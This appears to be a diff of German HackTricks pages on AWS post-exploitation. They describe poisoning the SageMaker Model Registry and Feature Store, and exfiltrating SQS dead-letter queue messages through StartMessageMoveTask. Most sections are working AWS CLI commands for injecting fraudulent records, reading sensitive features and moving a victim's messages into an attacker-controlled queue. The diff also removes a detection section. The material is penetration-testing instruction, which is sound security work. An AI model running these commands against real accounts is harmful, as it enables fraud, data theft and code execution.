 ### Anforderungen
-- IAM (Minimum, um eine bestehende Gruppe zu vergiften): `sagemaker:CreateModelPackage` auf der Ziel-ModelPackageGroup
-- Optional (um eine Gruppe zu erstellen, falls keine existiert): `sagemaker:CreateModelPackageGroup`
-- S3: Lesezugriff auf die referenzierte ModelDataUrl (oder Hosten von vom Angreifer kontrollierten Artefakten)
-- Ziel: Eine Model Package Group, die nachgelagerte Automation auf Approved-Versionen überwacht
+- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
+- Optional (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
+- S3: Lesezugriff auf die referenzierte ModelDataUrl (oder host attacker-controlled artifacts)
+- Ziel: Eine Model Package Group, die von downstream automation nach Approved versions überwacht wird
 
 ### Schritte
 1) Region setzen und eine Ziel Model Package Group erstellen/finden
@@ -137,7 +136,7 @@ REGION=${REGION:-us-east-1}
 MPG=victim-group-$(date +%s)
 aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
 ```
-2) Dummy-Modell-Daten in S3 vorbereiten
+2) Bereite Dummy-Modell-Daten in S3 vor
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -145,7 +144,7 @@ aws s3 mb s3://$BUCKET --region $REGION
 head -c 1024 </dev/urandom > /tmp/model.tar.gz
 aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
 ```
-3) Registriere eine bösartige (hier harmlose) Approved model package version, die auf ein öffentliches AWS DLC-Image verweist
+3) Registrieren Sie eine bösartige (hier harmlos) Approved model package version, die auf ein öffentliches AWS DLC image verweist
 ```bash
 IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
 cat > /tmp/inf.json << JSON
@@ -162,18 +161,19 @@ cat > /tmp/inf.json << JSON
 JSON
 aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
 ```
-4) Überprüfe, dass die neue Approved-Version vorhanden ist
+4) Überprüfen Sie, dass die neue genehmigte Version existiert.
 ```bash
 aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
 ```
 ### Auswirkungen
-- Poison the Model Registry mit einer Approved-Version, die auf angreiferkontrollierten Code verweist. Pipelines, die Approved-Modelle automatisch bereitstellen, können das Angreifer-Image ziehen und ausführen, was zur Codeausführung unter endpoint/training roles führt.
-- Mit einer permissiven ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch kontoübergreifend ausgelöst werden.
+- Das Model Registry mit einer Approved-Version vergiften, die auf vom Angreifer kontrollierten Code verweist. Pipelines, die Approved-Modelle automatisch deployen, können das Angreifer-Image ziehen und ausführen, was zur Ausführung von Code unter den endpoint-/training-Rollen führt.
+- Mit einer zu permissiven ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch kontoübergreifend ausgelöst werden.
 
 ## Feature store poisoning
 
-Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von online inference verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensitive Features lesen. Dafür ist kein Zugriff auf models oder endpoints erforderlich.
+Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von Online-Inference genutzt werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features auslesen. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich.
 
 {{#ref}}
 feature-store-poisoning.md
 {{/ref}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md

@@ -1,17 +1,19 @@
 # SageMaker Feature Store online store poisoning
 
-Missbrauche `sagemaker:PutRecord` an einer Feature Group mit aktivierter OnlineStore, um Live-Feature-Werte zu überschreiben, die von der Online-Inferenz verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensible Features lesen und vertrauliche ML-Daten exfiltrieren. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich, wodurch es zu einem direkten Data-Layer-Angriff wird.
+{{#include ../../../../banners/hacktricks-training.md}}
 
-## Voraussetzungen
+Missbrauch von `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von der online inference verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensitive Features auslesen. Dafür ist kein Zugriff auf Modelle oder Endpoints erforderlich.
+
+## Anforderungen
 - Berechtigungen: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
-- Ziel: Feature Group mit aktivierter OnlineStore (typischerweise für Echtzeit-Inferenz)
-- Komplexität: **LOW** - Einfache AWS CLI Befehle, keine Modellmanipulation erforderlich
+- Ziel: Feature Group mit aktiviertem OnlineStore (typischerweise zur Unterstützung von Echtzeit-Inferenz)
+- Komplexität: **LOW** - Einfache AWS-CLI-Befehle, keine Modellmanipulation erforderlich
 
 ## Schritte
 
-### Reconnaissance
+### Aufklärung
 
-1) Feature Groups mit aktivierter OnlineStore auflisten
+1) Feature Groups mit aktiviertem OnlineStore auflisten
 ```bash
 REGION=${REGION:-us-east-1}
 aws sagemaker list-feature-groups \
@@ -26,18 +28,18 @@ aws sagemaker describe-feature-group \
 --region $REGION \
 --feature-group-name "$FG"
 ```
-Beachte die `RecordIdentifierFeatureName`, `EventTimeFeatureName` und alle Feature-Definitionen. Diese sind erforderlich, um gültige Datensätze zu erstellen.
+Beachte die `RecordIdentifierFeatureName`, `EventTimeFeatureName` und alle Feature-Definitionen. Diese werden benötigt, um gültige Datensätze zu erstellen.
 
-### Angriffsszenario 1: Data Poisoning (Overwrite Existing Records)
+### Angriffsszenario 1: Data Poisoning (Bestehende Datensätze überschreiben)
 
-1) Lies den aktuellen legitimen Datensatz
+1) Lese den aktuellen legitimen Datensatz aus
 ```bash
 aws sagemaker-featurestore-runtime get-record \
 --region $REGION \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-001
 ```
-2) Vergifte den Datensatz mit bösartigen Werten über den Inline-Parameter `--record`
+2) Den Datensatz mit bösartigen Werten vergiften, indem der Inline-Parameter `--record` verwendet wird.
 ```bash
 NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
 
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
 ]" \
 --target-stores OnlineStore
 ```
-3) Vergiftete Daten verifizieren
+3) Vergiftete Daten überprüfen
 ```bash
 aws sagemaker-featurestore-runtime get-record \
 --region $REGION \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-001
 ```
-**Auswirkung**: ML-Modelle, die dieses Feature verwenden, sehen jetzt `risk_score=0.99` für einen legitimen Benutzer, wodurch dessen Transaktionen oder Dienste möglicherweise blockiert werden.
+**Auswirkung**: ML-Modelle, die dieses Feature verwenden, sehen jetzt für einen legitimen Benutzer `risk_score=0.99`, wodurch möglicherweise seine Transaktionen oder Dienste blockiert werden.
 
-### Angriffsszenario 2: Malicious Data Injection (Create Fraudulent Records)
+### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
 
-Injiziere vollständig neue Datensätze mit manipulierten Features, um Sicherheitskontrollen zu umgehen:
+Füge komplett neue Datensätze mit manipulierten Features ein, um Sicherheitskontrollen zu umgehen:
 ```bash
 NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
 
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
 ]" \
 --target-stores OnlineStore
 ```
-Überprüfen Sie die Injektion:
+Überprüfe die injection:
 ```bash
 aws sagemaker-featurestore-runtime get-record \
 --region $REGION \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-999
 ```
-**Impact**: Attacker erstellt eine gefälschte Identität mit niedrigem Risiko-Score (0.01), die betrügerische Transaktionen mit hohem Wert durchführen kann, ohne die Betrugserkennung auszulösen.
+**Auswirkung**: Ein Angreifer erstellt eine gefälschte Identität mit niedriger Risikobewertung (0.01), die Transaktionen mit hohem Wert betrügerisch durchführen kann, ohne die Betrugserkennung auszulösen.
 
-### Angriffsszenario 3: Exfiltration sensibler Daten
+### Angriffsszenario 3: Sensitive Data Exfiltration
 
-Mehrere Datensätze lesen, um vertrauliche Merkmale zu extrahieren und das Verhalten des Modells zu profilieren:
+Mehrere Datensätze lesen, um vertrauliche Merkmale zu extrahieren und das Modellverhalten zu profilieren:
 ```bash
 # Exfiltrate data for known users
 for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
 --record-identifier-value-as-string ${USER_ID}
 done
 ```
-**Impact**: Vertrauliche Features (risk scores, transaction patterns, personenbezogene Daten) werden einem Angreifer offengelegt.
+**Auswirkung**: Vertrauliche Features (Risikobewertungen, Transaktionsmuster, personenbezogene Daten) werden für Angreifer offengelegt.
 
-### Erstellung einer Test-/Demo-Feature Group (optional)
+### Erstellung einer Test-/Demo Feature Group (optional)
 
 Wenn Sie eine Test Feature Group erstellen müssen:
 ```bash
@@ -141,20 +143,6 @@ fi
 
 echo "Feature Group ready: $FG"
 ```
-## Erkennung
-
-Überwache CloudTrail auf verdächtige Muster:
-- `PutRecord`-Ereignisse von ungewöhnlichen IAM-Prinzipalen oder IP-Adressen
-- Häufige `PutRecord`- oder `GetRecord`-Aufrufe
-- `PutRecord` mit anomalen Feature-Werten (z. B. risk_score außerhalb des normalen Bereichs)
-- Massive `GetRecord`-Operationen, die auf Massen-Exfiltration hindeuten
-- Zugriffe außerhalb der üblichen Geschäftszeiten oder von unerwarteten Standorten
-
-Anomalieerkennung implementieren:
-- Validierung von Feature-Werten (z. B. risk_score muss 0.0-1.0 sein)
-- Analyse von Schreibmustern (Frequenz, Timing, Identität der Quelle)
-- Erkennung von Data Drift (plötzliche Änderungen in der Verteilung der Feature-Werte)
-
-## References
-- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
-- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
+## Referenzen
+- [AWS SageMaker Feature Store Dokumentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
+- [Best Practices zur Sicherheit von Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -1,53 +1,55 @@
 # AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
 
+{{#include ../../../banners/hacktricks-training.md}}
+
 ## Beschreibung
 
-Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` auf eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Message-Recovery-Funktion von AWS, um sensible Daten zu exfiltrieren, die sich im Laufe der Zeit in DLQs angesammelt haben.
+Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` an eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Wiederherstellungsfunktion von AWS, um sensible Daten zu exfiltrieren, die sich über die Zeit in DLQs angesammelt haben.
 
 ## Was ist eine Dead-Letter Queue (DLQ)?
 
-Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten oft:
+Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden konnten. Diese fehlgeschlagenen Nachrichten enthalten häufig:
 - Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
-- Fehlerdetails und Debugging-Informationen
+- Fehlermeldungen und Debugging-Informationen
 - Personenbezogene Daten (PII)
-- API-Token, Anmeldeinformationen oder andere Geheimnisse
+- API-Tokens, Zugangsdaten oder andere Geheimnisse
 - Geschäftskritische Transaktionsdaten
 
-DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind deshalb wertvolle Ziele, da sie im Laufe der Zeit sensible Daten ansammeln, die von Anwendungen nicht korrekt verarbeitet werden konnten.
+DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind daher wertvolle Ziele, da sie über die Zeit sensible Daten ansammeln, die Anwendungen nicht korrekt verarbeiten konnten.
 
 ## Angriffsszenario
 
-**Beispiel aus der Praxis:**
-1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
-2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Inventarprobleme, etc.) und werden in eine DLQ verschoben
-3. **Die DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
-4. **Angreifer erlangt Zugriff** auf AWS-Credentials mit SQS-Berechtigungen
-5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
-6. **Anstatt zu versuchen, auf einzelne Nachrichten zuzugreifen** (langsam und auffällig), nutzt der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten gesammelt in seine eigene Queue zu übertragen
-7. **Angreifer extrahiert** alle historischen sensiblen Daten in einer Operation
+**Real-world example:**
+1. **E-commerce application** verarbeitet Kundenbestellungen über SQS
+2. **Some orders fail** (Zahlungsprobleme, Inventarfehler usw.) und werden in eine DLQ verschoben
+3. **DLQ accumulates** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Attacker gains access** zu AWS-Zugangsdaten mit SQS-Berechtigungen
+5. **Attacker discovers** die DLQ enthält Tausende fehlgeschlagener Bestellungen mit sensiblen Daten
+6. **Instead of trying to access individual messages** (langsam und auffällig), verwendet der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten in Bulk in seine eigene Queue zu übertragen
+7. **Attacker extracts** alle historischen sensiblen Daten in einem Vorgang
 
-## Voraussetzungen
-- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue per RedrivePolicy referenziert).
-- IAM-Berechtigungen (ausgeführt als kompromittierte Opfer-Principal):
+## Anforderungen
+- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue über RedrivePolicy referenziert).
+- IAM-Berechtigungen (ausgeführt als das kompromittierte Opferprinzipal):
 - Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
-- Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Für Ziele im selben Account ist dies üblicherweise standardmäßig erlaubt.
+- Auf der Ziel-Queue: Berechtigung zum Zustellen von Nachrichten (z. B. Queue-Policy, die `sqs:SendMessage` vom Opferprinzipal erlaubt). Für Ziele im selben Account ist dies in der Regel standardmäßig erlaubt.
 - Wenn SSE-KMS aktiviert ist: auf der Quell-CMK `kms:Decrypt`, und auf der Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
 
 ## Auswirkung
-Exfiltriere sensible Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), mit hoher Geschwindigkeit unter Verwendung der nativen SQS-APIs. Funktioniert kontoübergreifend, wenn die Ziel-Queue-Policy `SendMessage` vom Opfer-Principal erlaubt.
+Exfiltriere sensible Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), sehr schnell unter Verwendung nativer SQS-APIs. Funktioniert auch cross-account, wenn die Ziel-Queue-Policy `SendMessage` vom Opferprinzipal erlaubt.
 
 ## Missbrauch
 
-- Identifiziere die DLQ-ARN des Opfers und stelle sicher, dass sie tatsächlich von mindestens einer Queue als DLQ referenziert wird (jede Queue reicht).
-- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und beschaffe deren ARN.
-- Starte eine Message-Move-Task von der DLQ des Opfers zu deiner Ziel-Queue.
-- Überwache den Fortschritt oder breche ab, falls nötig.
+- Identifiziere die ARN der Opfer-DLQ und stelle sicher, dass sie tatsächlich als DLQ von irgendeiner Queue referenziert wird (jede Queue ist ausreichend).
+- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte ihre ARN.
+- Starte eine message move task von der Opfer-DLQ zu deiner Ziel-Queue.
+- Überwache den Fortschritt oder storniere bei Bedarf.
 
-### CLI-Beispiel: Exfiltrieren von Kundendaten aus einer E-Commerce-DLQ
+### CLI-Beispiel: Exfiltrieren von Kundendaten aus E-Commerce DLQ
 
-**Szenario**: Ein Angreifer hat AWS-Credentials kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellungsverarbeitung enthält.
+**Szenario**: Ein Angreifer hat AWS-Zugangsdaten kompromittiert und festgestellt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellverarbeitung enthält.
 
-1) **DLQ des Opfers finden und untersuchen**
+1) **Discover and examine the victim DLQ**
 ```bash
 # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
 aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
 --attribute-names ApproximateNumberOfMessages
 # Output might show: "ApproximateNumberOfMessages": "1847"
 ```
-2) **Erstelle eine vom Angreifer kontrollierte Ziel-Queue**
+2) **Erstelle attacker-controlled Ziel-Queue**
 ```bash
 # Create our exfiltration queue
 ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
 
 echo "Created exfiltration queue: $ATTACKER_Q_ARN"
 ```
-3) **Führe den massenhaften Nachrichtendiebstahl durch**
+3) **Führe den massenhaften Nachrichtendiebstahl aus**
 ```bash
 # Start moving ALL messages from victim DLQ to our queue
 # This operation will transfer thousands of failed orders containing customer data
@@ -114,15 +116,15 @@ echo "$MESSAGES" >> stolen_customer_data.json
 done
 ```
 ### Cross-Account-Hinweise
-- Die Ziel-Queue muss eine Resource-Policy haben, die dem victim principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS-Grants/Berechtigungen).
+- Die Ziel-Queue muss eine resource policy haben, die dem Opfer-Principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS Grants/Berechtigungen).
 
 ## Warum dieser Angriff effektiv ist
 
-1. **Legitime AWS-Funktion**: Verwendet eingebaute AWS-Funktionalität, wodurch es schwer ist, dies als bösartig zu erkennen
-2. **Massenoperation**: Überträgt tausende Nachrichten schnell, statt über langsamen Einzelzugriff
+1. **Legitime AWS-Funktion**: Nutzt eingebaute AWS-Funktionalität, wodurch es schwer ist, dies als bösartig zu erkennen
+2. **Massenoperation**: Überträgt tausende Nachrichten schnell statt langsamen Einzelzugriffs
 3. **Historische Daten**: DLQs sammeln über Wochen/Monate sensible Daten an
-4. **Unauffällig**: Viele Organisationen überwachen DLQ-Zugriffe nicht genau
-5. **Cross-Account-fähig**: Kann in das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen es erlauben
+4. **Unbemerkt**: Viele Organisationen überwachen den Zugriff auf DLQs nicht genau
+5. **Cross-Account-fähig**: Kann Daten in das eigene AWS-Konto des Angreifers exfiltrieren, wenn die Berechtigungen dies erlauben
 
 ## Erkennung und Prävention
 
@@ -143,8 +145,10 @@ done
 }
 ```
 ### Prävention
-1. **Prinzip der geringsten Privilegien**: Beschränke die Berechtigungen `sqs:StartMessageMoveTask` ausschließlich auf die notwendigen Rollen
-2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivitäten ein
-3. **Kontenübergreifende Richtlinien**: Überprüfe sorgfältig SQS-Queue-Richtlinien, die kontenübergreifenden Zugriff erlauben
+1. **Prinzip der geringsten Privilegien**: Beschränke die `sqs:StartMessageMoveTask`-Berechtigungen auf ausschließlich notwendige Rollen
+2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
+3. **Kontoübergreifende Richtlinien**: Überprüfe SQS-Queue-Policies, die kontoübergreifenden Zugriff erlauben, sorgfältig
 4. **DLQs verschlüsseln**: Verwende SSE-KMS mit eingeschränkten Schlüsselrichtlinien
-5. **Regelmäßige Bereinigung**: Lasse sensible Daten nicht unbegrenzt in DLQs ansammeln
+5. **Regelmäßige Bereinigung**: Lass sensible Daten nicht unbegrenzt in DLQs ansammeln
+
+{{#include ../../../banners/hacktricks-training.md}}